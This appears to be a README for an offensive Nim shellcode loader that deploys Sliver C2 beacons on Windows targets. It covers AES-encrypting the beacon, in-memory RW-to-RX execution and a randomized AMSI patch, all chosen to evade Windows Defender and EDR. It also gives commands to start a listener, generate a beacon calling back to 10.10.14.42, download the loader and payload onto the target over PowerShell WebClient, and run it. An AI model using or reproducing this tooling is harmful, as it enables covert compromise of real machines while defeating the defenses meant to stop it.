A Sliver shellcode loader written in Nim. Encrypts your Sliver beacon shellcode with AES-256-CBC before dropping it on disk, then decrypts and executes it in memory on the target, keeping the raw shellcode off disk and out of static analysis reach.
Tested against Windows Defender with real-time monitoring enabled.
encrypt.py reads the raw shellcode and encrypts it with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The encrypted blob is what gets transferred to the target. The shellcode never touches the target's disk in plaintext, so static analysis and on-write Defender scans see only ciphertext.
The loader does the following at runtime:
- Reads the encrypted shellcode file from disk
- Decrypts it in memory using the Windows BCrypt API (AES-256-CBC). The key and IV are passed as arguments at runtime. They never exist in the binary itself
- Allocates a memory region with
VirtualAllocusingPAGE_READWRITEpermissions - Copies the decrypted shellcode into that region
- Changes the memory permissions to
PAGE_EXECUTE_READviaVirtualProtect— the region is now executable but no longer writable (RW → RX) - Executes the shellcode by casting the memory address to a function pointer and calling it
The RW → RX transition is intentional. PAGE_EXECUTE_READWRITE (RWX) is a well-known red flag that Defender and EDRs specifically watch for. Allocating as RW first, writing the shellcode, then flipping to RX is the standard approach to avoid that signature.
The decrypted shellcode only exists in memory for the duration of execution. It is never written back to disk.
On your Linux machine:
- Nim + nimble (
nimble install winim) x86_64-w64-mingw32-gcc(mingw-w64)- Python 3 + pycryptodome (
pip install pycryptodome)
[127.0.0.1] sliver > mtls --lhost 10.10.14.42 --lport 443
[*] Starting mTLS listener ...
[*] Successfully started job #1
[127.0.0.1] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols mssql
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /path/to/WICKED_SLIDER.bin
--skip-symbolsspeeds up build time.--format shellcodeis required. Do not use--format exe.
python3 encrypt.py WICKED_SLIDER.bin
# [+] encrypted: WICKED_SLIDER_enc.bin (17875072 bytes)
# [+] key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# [+] iv: 83b82994e8c512d536f7d42e89d6e761Save the key and IV, you need them at runtime.
nim c -d:release -o:loader.exe loader.nimThe nim.cfg handles all cross-compilation flags automatically. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard Windows system libraries.
Transfer loader.exe and WICKED_SLIDER_enc.bin to the target however you have access, certutil, PowerShell WebClient, SMB, etc.
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/WICKED_SLIDER_enc.bin", "C:\Windows\Temp\beacon.bin")loader.exe beacon.bin <key> <iv>
Example:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Raw unencrypted shellcode is also supported (no key/IV needed):
loader.exe shellcode.bin
If you are delivering via PowerShell rather than cmd, AMSI will scan your download cradle. Patch it first:
python3 gen_amsi.pyPaste the output into your PowerShell session before downloading or executing anything. A fresh randomized patch is generated on every run, with a different XOR key and byte arrays each time, so no two generated scripts share the same pattern.
The patch works by:
- Resolving
AmsiScanBuffervia export table hash matching (FNV-1a, computed at compile time), the string never appears in the script - Patching via
WriteProcessMemoryon the current process, noVirtualProtectcall needed - All strings (
amsi.dll,AmsiScanBuffer, the C# P/Invoke definition) are XOR-encoded with the per-run random key
AMSI is irrelevant if you are executing
loader.exedirectly from cmd or xp_cmdshell. It only hooks script engines (PowerShell, JScript, .NET). Skip the patch in those cases.
- The loader is statically linked against the mingw pthread runtime, no
libwinpthread-1.dllrequired on the target - Requires Windows 10 / Server 2016+ (Universal CRT). Server 2012 R2 works with KB3118401 installed
BCryptSetPropertyfor chaining mode returnsSTATUS_INVALID_PARAMETERbut BCrypt defaults to CBC anyway, decryption works correctly